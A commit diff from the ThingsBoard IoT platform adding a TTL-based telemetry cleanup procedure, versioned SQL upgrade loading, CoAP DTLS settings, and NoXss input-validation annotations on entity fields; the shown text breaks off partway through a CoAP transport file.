Commit a207e31841c3aae2d4ae8450134a035be0d88513

Authored by Igor Kulikov
2 parents ba7543d3 4a63660e

Merge with master

Showing 76 changed files with 2170 additions and 396 deletions
  1 +--
  2 +-- Copyright © 2016-2021 The Thingsboard Authors
  3 +--
  4 +-- Licensed under the Apache License, Version 2.0 (the "License");
  5 +-- you may not use this file except in compliance with the License.
  6 +-- You may obtain a copy of the License at
  7 +--
  8 +-- http://www.apache.org/licenses/LICENSE-2.0
  9 +--
  10 +-- Unless required by applicable law or agreed to in writing, software
  11 +-- distributed under the License is distributed on an "AS IS" BASIS,
  12 +-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 +-- See the License for the specific language governing permissions and
  14 +-- limitations under the License.
  15 +--
  16 +
  17 +CREATE OR REPLACE PROCEDURE cleanup_timeseries_by_ttl(IN null_uuid uuid,
  18 + IN system_ttl bigint, INOUT deleted bigint)
  19 + LANGUAGE plpgsql AS
  20 +$$
  21 +DECLARE
  22 +tenant_cursor CURSOR FOR select tenant.id as tenant_id
  23 + from tenant;
  24 + tenant_id_record uuid;
  25 + customer_id_record uuid;
  26 + tenant_ttl bigint;
  27 + customer_ttl bigint;
  28 + deleted_for_entities bigint;
  29 + tenant_ttl_ts bigint;
  30 + customer_ttl_ts bigint;
  31 +BEGIN
  32 +OPEN tenant_cursor;
  33 +FETCH tenant_cursor INTO tenant_id_record;
  34 +WHILE FOUND
  35 + LOOP
  36 + EXECUTE format(
  37 + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
  38 + tenant_id_record, 'TTL') INTO tenant_ttl;
  39 + if tenant_ttl IS NULL THEN
  40 + tenant_ttl := system_ttl;
  41 +END IF;
  42 + IF tenant_ttl > 0 THEN
  43 + tenant_ttl_ts := (EXTRACT(EPOCH FROM current_timestamp) * 1000 - tenant_ttl::bigint * 1000)::bigint;
  44 + deleted_for_entities := delete_device_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
  45 + deleted := deleted + deleted_for_entities;
  46 + RAISE NOTICE '% telemetry removed for devices where tenant_id = %', deleted_for_entities, tenant_id_record;
  47 + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record, null_uuid, tenant_ttl_ts);
  48 + deleted := deleted + deleted_for_entities;
  49 + RAISE NOTICE '% telemetry removed for assets where tenant_id = %', deleted_for_entities, tenant_id_record;
  50 +END IF;
  51 +FOR customer_id_record IN
  52 +SELECT customer.id AS customer_id FROM customer WHERE customer.tenant_id = tenant_id_record
  53 + LOOP
  54 + EXECUTE format(
  55 + 'select attribute_kv.long_v from attribute_kv where attribute_kv.entity_id = %L and attribute_kv.attribute_key = %L',
  56 + customer_id_record, 'TTL') INTO customer_ttl;
  57 +IF customer_ttl IS NULL THEN
  58 + customer_ttl_ts := tenant_ttl_ts;
  59 +ELSE
  60 + IF customer_ttl > 0 THEN
  61 + customer_ttl_ts :=
  62 + (EXTRACT(EPOCH FROM current_timestamp) * 1000 -
  63 + customer_ttl::bigint * 1000)::bigint;
  64 +END IF;
  65 +END IF;
  66 + IF customer_ttl_ts IS NOT NULL AND customer_ttl_ts > 0 THEN
  67 + deleted_for_entities :=
  68 + delete_customer_records_from_ts_kv(tenant_id_record, customer_id_record,
  69 + customer_ttl_ts);
  70 + deleted := deleted + deleted_for_entities;
  71 + RAISE NOTICE '% telemetry removed for customer with id = % where tenant_id = %', deleted_for_entities, customer_id_record, tenant_id_record;
  72 + deleted_for_entities :=
  73 + delete_device_records_from_ts_kv(tenant_id_record, customer_id_record,
  74 + customer_ttl_ts);
  75 + deleted := deleted + deleted_for_entities;
  76 + RAISE NOTICE '% telemetry removed for devices where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
  77 + deleted_for_entities := delete_asset_records_from_ts_kv(tenant_id_record,
  78 + customer_id_record,
  79 + customer_ttl_ts);
  80 + deleted := deleted + deleted_for_entities;
  81 + RAISE NOTICE '% telemetry removed for assets where tenant_id = % and customer_id = %', deleted_for_entities, tenant_id_record, customer_id_record;
  82 +END IF;
  83 +END LOOP;
  84 +FETCH tenant_cursor INTO tenant_id_record;
  85 +END LOOP;
  86 +END
  87 +$$;
... ...
... ... @@ -19,11 +19,15 @@ import lombok.extern.slf4j.Slf4j;
19 19 import org.springframework.beans.factory.annotation.Autowired;
20 20 import org.springframework.http.HttpStatus;
21 21 import org.springframework.security.access.prepost.PreAuthorize;
22   -import org.springframework.web.bind.annotation.*;
  22 +import org.springframework.web.bind.annotation.RequestBody;
  23 +import org.springframework.web.bind.annotation.RequestMapping;
  24 +import org.springframework.web.bind.annotation.RequestMethod;
  25 +import org.springframework.web.bind.annotation.ResponseBody;
  26 +import org.springframework.web.bind.annotation.ResponseStatus;
  27 +import org.springframework.web.bind.annotation.RestController;
23 28 import org.thingsboard.server.common.data.exception.ThingsboardException;
24 29 import org.thingsboard.server.common.data.oauth2.OAuth2ClientInfo;
25 30 import org.thingsboard.server.common.data.oauth2.OAuth2ClientsParams;
26   -import org.thingsboard.server.common.data.oauth2.SchemeType;
27 31 import org.thingsboard.server.dao.oauth2.OAuth2Configuration;
28 32 import org.thingsboard.server.queue.util.TbCoreComponent;
29 33 import org.thingsboard.server.service.security.permission.Operation;
... ... @@ -31,6 +35,7 @@ import org.thingsboard.server.service.security.permission.Resource;
31 35 import org.thingsboard.server.utils.MiscUtils;
32 36
33 37 import javax.servlet.http.HttpServletRequest;
  38 +import java.util.Enumeration;
34 39 import java.util.List;
35 40
36 41 @RestController
... ... @@ -46,6 +51,14 @@ public class OAuth2Controller extends BaseController {
46 51 @ResponseBody
47 52 public List<OAuth2ClientInfo> getOAuth2Clients(HttpServletRequest request) throws ThingsboardException {
48 53 try {
  54 + if (log.isDebugEnabled()) {
  55 + log.debug("Executing getOAuth2Clients: [{}][{}][{}]", request.getScheme(), request.getServerName(), request.getServerPort());
  56 + Enumeration<String> headerNames = request.getHeaderNames();
  57 + while (headerNames.hasMoreElements()) {
  58 + String header = headerNames.nextElement();
  59 + log.debug("Header: {} {}", header, request.getHeader(header));
  60 + }
  61 + }
49 62 return oAuth2Service.getOAuth2Clients(MiscUtils.getScheme(request), MiscUtils.getDomainNameAndPort(request));
50 63 } catch (Exception e) {
51 64 throw handleException(e);
... ...
... ... @@ -50,7 +50,7 @@ public abstract class AbstractSqlTsDatabaseUpgradeService {
50 50 @Autowired
51 51 protected InstallScripts installScripts;
52 52
53   - protected abstract void loadSql(Connection conn, String fileName);
  53 + protected abstract void loadSql(Connection conn, String fileName, String version);
54 54
55 55 protected void loadFunctions(Path sqlFile, Connection conn) throws Exception {
56 56 String sql = new String(Files.readAllBytes(sqlFile), StandardCharsets.UTF_8);
... ...
... ... @@ -94,7 +94,7 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
94 94 log.info("PostgreSQL version is valid!");
95 95 if (isOldSchema(conn, 2004003)) {
96 96 log.info("Load upgrade functions ...");
97   - loadSql(conn, LOAD_FUNCTIONS_SQL);
  97 + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
98 98 log.info("Updating timeseries schema ...");
99 99 executeQuery(conn, CALL_CREATE_PARTITION_TS_KV_TABLE);
100 100 if (!partitionType.equals("INDEFINITE")) {
... ... @@ -179,9 +179,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
179 179 }
180 180
181 181 log.info("Load TTL functions ...");
182   - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
  182 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
183 183 log.info("Load Drop Partitions functions ...");
184   - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL);
  184 + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
185 185
186 186 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
187 187
... ... @@ -199,9 +199,9 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
199 199 case "3.2.1":
200 200 try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
201 201 log.info("Load TTL functions ...");
202   - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
  202 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
203 203 log.info("Load Drop Partitions functions ...");
204   - loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL);
  204 + loadSql(conn, LOAD_DROP_PARTITIONS_FUNCTIONS_SQL, "2.4.3");
205 205
206 206 executeQuery(conn, "DROP PROCEDURE IF EXISTS cleanup_timeseries_by_ttl(character varying, bigint, bigint);");
207 207 executeQuery(conn, "DROP FUNCTION IF EXISTS delete_asset_records_from_ts_kv(character varying, character varying, bigint);");
... ... @@ -244,8 +244,8 @@ public class PsqlTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgradeSe
244 244 }
245 245
246 246 @Override
247   - protected void loadSql(Connection conn, String fileName) {
248   - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName);
  247 + protected void loadSql(Connection conn, String fileName, String version) {
  248 + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
249 249 try {
250 250 loadFunctions(schemaUpdateFile, conn);
251 251 log.info("Functions successfully loaded!");
... ...
... ... @@ -89,7 +89,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
89 89 log.info("PostgreSQL version is valid!");
90 90 if (isOldSchema(conn, 2004003)) {
91 91 log.info("Load upgrade functions ...");
92   - loadSql(conn, LOAD_FUNCTIONS_SQL);
  92 + loadSql(conn, LOAD_FUNCTIONS_SQL, "2.4.3");
93 93 log.info("Updating timescale schema ...");
94 94 executeQuery(conn, CALL_CREATE_TS_KV_LATEST_TABLE);
95 95 executeQuery(conn, CALL_CREATE_NEW_TENANT_TS_KV_TABLE);
... ... @@ -165,7 +165,7 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
165 165 }
166 166
167 167 log.info("Load TTL functions ...");
168   - loadSql(conn, LOAD_TTL_FUNCTIONS_SQL);
  168 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "2.4.3");
169 169
170 170 executeQuery(conn, "UPDATE tb_schema_settings SET schema_version = 2005000");
171 171 log.info("schema timescale updated!");
... ... @@ -178,7 +178,11 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
178 178 }
179 179 break;
180 180 case "3.1.1":
  181 + break;
181 182 case "3.2.1":
  183 + try (Connection conn = DriverManager.getConnection(dbUrl, dbUserName, dbPassword)) {
  184 + loadSql(conn, LOAD_TTL_FUNCTIONS_SQL, "3.2.1");
  185 + }
182 186 break;
183 187 default:
184 188 throw new RuntimeException("Unable to upgrade SQL database, unsupported fromVersion: " + fromVersion);
... ... @@ -201,8 +205,8 @@ public class TimescaleTsDatabaseUpgradeService extends AbstractSqlTsDatabaseUpgr
201 205 }
202 206
203 207 @Override
204   - protected void loadSql(Connection conn, String fileName) {
205   - Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", "2.4.3", fileName);
  208 + protected void loadSql(Connection conn, String fileName, String version) {
  209 + Path schemaUpdateFile = Paths.get(installScripts.getDataDir(), "upgrade", version, fileName);
206 210 try {
207 211 loadFunctions(schemaUpdateFile, conn);
208 212 log.info("Functions successfully loaded!");
... ...
... ... @@ -586,6 +586,24 @@ transport:
586 586 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
587 587 bind_port: "${COAP_BIND_PORT:5683}"
588 588 timeout: "${COAP_TIMEOUT:10000}"
  589 + dtls:
  590 + # Enable/disable DTLS 1.2 support
  591 + enabled: "${COAP_DTLS_ENABLED:false}"
  592 + # Secure mode. Allowed values: NO_AUTH, X509
  593 + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
  594 + # Path to the key store that holds the certificate
  595 + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
  596 + # Password used to access the key store
  597 + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
  598 + # Password used to access the key
  599 + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
  600 + # Key alias
  601 + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
  602 + # Skip certificate validity check for client certificates.
  603 + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
  604 + x509:
  605 + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
  606 + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
589 607 # Local LwM2M transport parameters
590 608 lwm2m:
591 609 # Enable/disable lvm2m transport protocol.
... ...
... ... @@ -37,6 +37,14 @@
37 37
38 38 <dependencies>
39 39 <dependency>
  40 + <groupId>javax.validation</groupId>
  41 + <artifactId>validation-api</artifactId>
  42 + </dependency>
  43 + <dependency>
  44 + <groupId>org.owasp.antisamy</groupId>
  45 + <artifactId>antisamy</artifactId>
  46 + </dependency>
  47 + <dependency>
40 48 <groupId>org.slf4j</groupId>
41 49 <artifactId>slf4j-api</artifactId>
42 50 </dependency>
... ...
... ... @@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
18 18 import org.thingsboard.server.common.data.id.AdminSettingsId;
19 19
20 20 import com.fasterxml.jackson.databind.JsonNode;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 23 public class AdminSettings extends BaseData<AdminSettingsId> {
23 24
24 25 private static final long serialVersionUID = -7670322981725511892L;
25   -
  26 +
  27 + @NoXss
26 28 private String key;
27 29 private transient JsonNode jsonValue;
28 30
... ...
... ... @@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
17 17
18 18 import lombok.EqualsAndHashCode;
19 19 import org.thingsboard.server.common.data.id.UUIDBased;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
21 22 @EqualsAndHashCode(callSuper = true)
22 23 public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
23 24
24 25 private static final long serialVersionUID = 5047448057830660988L;
25   -
  26 +
  27 + @NoXss
26 28 protected String country;
  29 + @NoXss
27 30 protected String state;
  31 + @NoXss
28 32 protected String city;
  33 + @NoXss
29 34 protected String address;
  35 + @NoXss
30 36 protected String address2;
  37 + @NoXss
31 38 protected String zip;
  39 + @NoXss
32 40 protected String phone;
  41 + @NoXss
33 42 protected String email;
34 43
35 44 public ContactBased() {
... ...
... ... @@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 20 import com.fasterxml.jackson.annotation.JsonProperty.Access;
21 21 import org.thingsboard.server.common.data.id.CustomerId;
22 22 import org.thingsboard.server.common.data.id.TenantId;
23   -
24   -import com.fasterxml.jackson.databind.JsonNode;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
25 24
26 25 public class Customer extends ContactBased<CustomerId> implements HasTenantId {
27 26
28 27 private static final long serialVersionUID = -1599722990298929275L;
29   -
  28 +
  29 + @NoXss
30 30 private String title;
31 31 private TenantId tenantId;
32 32
... ...
... ... @@ -24,6 +24,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
24 24 import org.thingsboard.server.common.data.id.DeviceId;
25 25 import org.thingsboard.server.common.data.id.DeviceProfileId;
26 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
28 29 import java.io.ByteArrayInputStream;
29 30 import java.io.IOException;
... ... @@ -36,8 +37,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
36 37
37 38 private TenantId tenantId;
38 39 private CustomerId customerId;
  40 + @NoXss
39 41 private String name;
  42 + @NoXss
40 43 private String type;
  44 + @NoXss
41 45 private String label;
42 46 private DeviceProfileId deviceProfileId;
43 47 private transient DeviceData deviceData;
... ...
... ... @@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
24 24 import org.thingsboard.server.common.data.id.DeviceProfileId;
25 25 import org.thingsboard.server.common.data.id.RuleChainId;
26 26 import org.thingsboard.server.common.data.id.TenantId;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
27 28
  29 +import javax.validation.Valid;
28 30 import java.io.ByteArrayInputStream;
29 31 import java.io.IOException;
30 32
... ... @@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
36 38 public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
37 39
38 40 private TenantId tenantId;
  41 + @NoXss
39 42 private String name;
  43 + @NoXss
40 44 private String description;
41 45 private boolean isDefault;
42 46 private DeviceProfileType type;
43 47 private DeviceTransportType transportType;
44 48 private DeviceProfileProvisionType provisionType;
45 49 private RuleChainId defaultRuleChainId;
  50 + @NoXss
46 51 private String defaultQueueName;
  52 + @Valid
47 53 private transient DeviceProfileData profileData;
48 54 @JsonIgnore
49 55 private byte[] profileDataBytes;
  56 + @NoXss
50 57 private String provisionDeviceKey;
51 58
52 59 public DeviceProfile() {
... ...
... ... @@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
23 23 import org.thingsboard.server.common.data.id.EntityViewId;
24 24 import org.thingsboard.server.common.data.id.TenantId;
25 25 import org.thingsboard.server.common.data.objects.TelemetryEntityView;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 28 /**
28 29 * Created by Victor Basanets on 8/27/2017.
... ... @@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
39 40 private EntityId entityId;
40 41 private TenantId tenantId;
41 42 private CustomerId customerId;
  43 + @NoXss
42 44 private String name;
  45 + @NoXss
43 46 private String type;
44 47 private TelemetryEntityView keys;
45 48 private long startTimeMs;
... ...
... ... @@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
20 20 import lombok.EqualsAndHashCode;
21 21 import org.thingsboard.server.common.data.id.TenantId;
22 22 import org.thingsboard.server.common.data.id.TenantProfileId;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
23 24
24 25 @EqualsAndHashCode(callSuper = true)
25 26 public class Tenant extends ContactBased<TenantId> implements HasTenantId {
26 27
27 28 private static final long serialVersionUID = 8057243243859922101L;
28   -
  29 +
  30 + @NoXss
29 31 private String title;
  32 + @NoXss
30 33 private String region;
31 34 private TenantProfileId tenantProfileId;
32 35
... ...
... ... @@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
23 23 import org.thingsboard.server.common.data.id.TenantProfileId;
24 24 import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
25 25 import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
26 27
27 28 import java.io.ByteArrayInputStream;
28 29 import java.io.IOException;
... ... @@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
34 35 @Slf4j
35 36 public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
36 37
  38 + @NoXss
37 39 private String name;
  40 + @NoXss
38 41 private String description;
39 42 private boolean isDefault;
40 43 private boolean isolatedTbCore;
... ...
... ... @@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
24 24 import org.thingsboard.server.common.data.id.UserId;
25 25 import org.thingsboard.server.common.data.security.Authority;
26 26
27   -import com.fasterxml.jackson.databind.JsonNode;
  27 +import org.thingsboard.server.common.data.validation.NoXss;
28 28
29 29 @EqualsAndHashCode(callSuper = true)
30 30 public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
... ... @@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
35 35 private CustomerId customerId;
36 36 private String email;
37 37 private Authority authority;
  38 + @NoXss
38 39 private String firstName;
  40 + @NoXss
39 41 private String lastName;
40 42
41 43 public User() {
... ...
... ... @@ -15,12 +15,15 @@
15 15 */
16 16 package org.thingsboard.server.common.data.asset;
17 17
18   -import com.fasterxml.jackson.databind.JsonNode;
19 18 import lombok.EqualsAndHashCode;
20   -import org.thingsboard.server.common.data.*;
  19 +import org.thingsboard.server.common.data.HasCustomerId;
  20 +import org.thingsboard.server.common.data.HasName;
  21 +import org.thingsboard.server.common.data.HasTenantId;
  22 +import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
21 23 import org.thingsboard.server.common.data.id.AssetId;
22 24 import org.thingsboard.server.common.data.id.CustomerId;
23 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
24 27
25 28 @EqualsAndHashCode(callSuper = true)
26 29 public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
... ... @@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
29 32
30 33 private TenantId tenantId;
31 34 private CustomerId customerId;
  35 + @NoXss
32 36 private String name;
  37 + @NoXss
33 38 private String type;
  39 + @NoXss
34 40 private String label;
35 41
36 42 public Asset() {
... ...
... ... @@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
19 19 import lombok.Data;
20   -import org.thingsboard.server.common.data.query.KeyFilter;
21 20
  21 +import javax.validation.Valid;
22 22 import java.util.List;
23   -import java.util.concurrent.TimeUnit;
24 23
25 24 @Data
26 25 @JsonIgnoreProperties(ignoreUnknown = true)
27 26 public class AlarmCondition {
28 27
  28 + @Valid
29 29 private List<AlarmConditionFilter> condition;
30 30 private AlarmConditionSpec spec;
31 31
... ...
... ... @@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
18 18 import lombok.Data;
19 19 import org.thingsboard.server.common.data.query.EntityKeyValueType;
20 20 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
  22 +
  23 +import javax.validation.Valid;
21 24
22 25 @Data
23 26 public class AlarmConditionFilter {
24 27
  28 + @Valid
25 29 private AlarmConditionFilterKey key;
26 30 private EntityKeyValueType valueType;
  31 + @NoXss
27 32 private Object value;
  33 + @Valid
28 34 private KeyFilterPredicate predicate;
29 35
30 36 }
... ...
... ... @@ -16,11 +16,13 @@
16 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
19 20
20 21 @Data
21 22 public class AlarmConditionFilterKey {
22 23
23 24 private final AlarmConditionKeyType type;
  25 + @NoXss
24 26 private final String key;
25 27
26 28 }
... ...
... ... @@ -16,13 +16,18 @@
16 16 package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
  19 +import org.thingsboard.server.common.data.validation.NoXss;
  20 +
  21 +import javax.validation.Valid;
19 22
20 23 @Data
21 24 public class AlarmRule {
22 25
  26 + @Valid
23 27 private AlarmCondition condition;
24 28 private AlarmSchedule schedule;
25 29 // Advanced
  30 + @NoXss
26 31 private String alarmDetails;
27 32
28 33 }
... ...
... ... @@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
19 19 import org.thingsboard.server.common.data.alarm.AlarmSeverity;
  20 +import org.thingsboard.server.common.data.validation.NoXss;
20 21
  22 +import javax.validation.Valid;
21 23 import java.util.List;
22 24 import java.util.TreeMap;
23 25
... ... @@ -25,9 +27,12 @@ import java.util.TreeMap;
25 27 public class DeviceProfileAlarm {
26 28
27 29 private String id;
  30 + @NoXss
28 31 private String alarmType;
29 32
  33 + @Valid
30 34 private TreeMap<AlarmSeverity, AlarmRule> createRules;
  35 + @Valid
31 36 private AlarmRule clearRule;
32 37
33 38 // Hidden in advanced settings
... ...
... ... @@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
17 17
18 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
20 21 import java.util.List;
21 22
22 23 @Data
... ... @@ -25,6 +26,7 @@ public class DeviceProfileData {
25 26 private DeviceProfileConfiguration configuration;
26 27 private DeviceProfileTransportConfiguration transportConfiguration;
27 28 private DeviceProfileProvisionConfiguration provisionConfiguration;
  29 + @Valid
28 30 private List<DeviceProfileAlarm> alarms;
29 31
30 32 }
... ...
... ... @@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
18 18 import com.fasterxml.jackson.annotation.JsonIgnore;
19 19 import lombok.Data;
20 20 import lombok.RequiredArgsConstructor;
  21 +import org.thingsboard.server.common.data.validation.NoXss;
21 22
22 23 @Data
23 24 @RequiredArgsConstructor
... ... @@ -27,6 +28,7 @@ public class DynamicValue<T> {
27 28 private T resolvedValue;
28 29
29 30 private final DynamicValueSourceType sourceType;
  31 + @NoXss
30 32 private final String sourceAttribute;
31 33 private final boolean inherit;
32 34
... ...
... ... @@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
20 20 import com.fasterxml.jackson.annotation.JsonProperty;
21 21 import lombok.Data;
22 22 import lombok.Getter;
  23 +import org.thingsboard.server.common.data.validation.NoXss;
  24 +
  25 +import javax.validation.Valid;
23 26
24 27 @Data
25 28 public class FilterPredicateValue<T> {
26 29
27 30 @Getter
  31 + @NoXss
28 32 private final T defaultValue;
29 33 @Getter
  34 + @NoXss
30 35 private final T userValue;
31 36 @Getter
  37 + @Valid
32 38 private final DynamicValue<T> dynamicValue;
33 39
34 40 public FilterPredicateValue(T defaultValue) {
... ...
... ... @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
17 17
18 18 import lombok.Data;
19 19
  20 +import javax.validation.Valid;
  21 +
20 22 @Data
21 23 public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
22 24
23 25 private StringOperation operation;
  26 + @Valid
24 27 private FilterPredicateValue<String> value;
25 28 private boolean ignoreCase;
26 29
... ...
... ... @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
26 26 import org.thingsboard.server.common.data.id.RuleChainId;
27 27 import org.thingsboard.server.common.data.id.RuleNodeId;
28 28 import org.thingsboard.server.common.data.id.TenantId;
  29 +import org.thingsboard.server.common.data.validation.NoXss;
29 30
30 31 @Data
31 32 @EqualsAndHashCode(callSuper = true)
... ... @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
35 36 private static final long serialVersionUID = -5656679015121935465L;
36 37
37 38 private TenantId tenantId;
  39 + @NoXss
38 40 private String name;
39 41 private RuleNodeId firstRuleNodeId;
40 42 private boolean root;
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.common.data.validation;
  17 +
  18 +import javax.validation.Constraint;
  19 +import javax.validation.Payload;
  20 +import java.lang.annotation.ElementType;
  21 +import java.lang.annotation.Retention;
  22 +import java.lang.annotation.RetentionPolicy;
  23 +import java.lang.annotation.Target;
  24 +
  25 +@Retention(RetentionPolicy.RUNTIME)
  26 +@Target(ElementType.FIELD)
  27 +@Constraint(validatedBy = {})
  28 +public @interface NoXss {
  29 + String message() default "field value is malformed";
  30 +
  31 + Class<?>[] groups() default {};
  32 +
  33 + Class<? extends Payload>[] payload() default {};
  34 +}
... ...
... ... @@ -45,6 +45,10 @@
45 45 <artifactId>californium-core</artifactId>
46 46 </dependency>
47 47 <dependency>
  48 + <groupId>org.eclipse.californium</groupId>
  49 + <artifactId>scandium</artifactId>
  50 + </dependency>
  51 + <dependency>
48 52 <groupId>org.springframework</groupId>
49 53 <artifactId>spring-context-support</artifactId>
50 54 </dependency>
... ...
... ... @@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext {
48 48 private Long timeout;
49 49
50 50 @Getter
  51 + @Autowired(required = false)
  52 + private TbCoapDtlsSettings dtlsSettings;
  53 +
  54 + @Getter
51 55 @Autowired
52 56 private JsonCoapAdaptor jsonCoapAdaptor;
53 57
... ...
... ... @@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation;
27 27 import org.eclipse.californium.core.server.resources.CoapExchange;
28 28 import org.eclipse.californium.core.server.resources.Resource;
29 29 import org.eclipse.californium.core.server.resources.ResourceObserver;
  30 +import org.springframework.util.StringUtils;
30 31 import org.thingsboard.server.common.data.DataConstants;
31 32 import org.thingsboard.server.common.data.DeviceProfile;
32 33 import org.thingsboard.server.common.data.DeviceTransportType;
... ... @@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
63 64 private static final int FEATURE_TYPE_POSITION = 4;
64 65 private static final int REQUEST_ID_POSITION = 5;
65 66
  67 + private static final int FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST = 3;
  68 + private static final int REQUEST_ID_POSITION_CERTIFICATE_REQUEST = 4;
  69 + private static final String DTLS_SESSION_ID_KEY = "DTLS_SESSION_ID";
  70 +
